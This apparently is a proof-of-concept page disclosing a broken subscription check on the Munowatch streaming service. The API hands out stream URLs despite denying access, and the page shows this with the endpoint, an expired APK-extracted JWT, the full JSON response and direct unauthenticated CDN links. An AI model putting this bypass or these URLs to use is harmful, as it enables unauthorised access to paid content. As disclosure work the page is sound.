SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
CDN BYPASS DEMO — Munowatch CDN serves this video with no token, no auth header required
CDN bypass demonstration:
The API returned playingUrl for Under The Gun with issubscriber: false and user_access: deny.
The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.
Under The Gun
Vj Ivo Series 22h 55m 1 year ago

Go Gun's family honor is at stake. He reluctantly joins the Korean Poker League. Transfer student Cha Se Young supports him as he faces his fears. Will his skills lead to victory?

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/54682/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access deny
paid_for YES (premium content)
substatus EXPIRED
serverhost 64
video_name 1-Under The Gun-VJ IVO.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN demo stream https://nkuba.b-cdn.net/cleve48/cfr/In.The.Grey.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206). 

{
    "id": 54682,
    "video_title": "Under The Gun",
    "description": "Go Gun's family honor is at stake. He reluctantly joins the Korean Poker League. Transfer student Cha Se Young supports him as he faces his fears. Will his skills lead to victory?",
    "video_name": "1-Under The Gun-VJ IVO.mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "64",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "22h 55m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/8F6qzau4Oi3096.jpg",
    "tfilehistory": "",
    "category_id": 5,
    "language_id": 1,
    "recording_date": "2025-02-07",
    "age_id": "18 +",
    "location": 1,
    "tab_category_id": 5,
    "series_code": "97613",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "294.71 MB",
    "create_date": "2025-02-07 06:02:58",
    "schedule_date": "07.02.2025 02:38:34 PM",
    "user_id": 1118356,
    "vj_id": 27,
    "video_status_id": 0,
    "network_id": "45.221.10.185",
    "user_access": "deny",
    "notification": "No",
    "secduration": "82500.000000",
    "issubscriber": false,
    "genre": "Series",
    "vjname": "Vj Ivo",
    "trailer_playing_url": "",
    "episodes": 6,
    "episode_state": "NEXT",
    "nxt_eps": "EPS   2",
    "nxt_eps_id": 54683,
    "nxt_eps_title": "Under The Gun 2",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "1 year ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}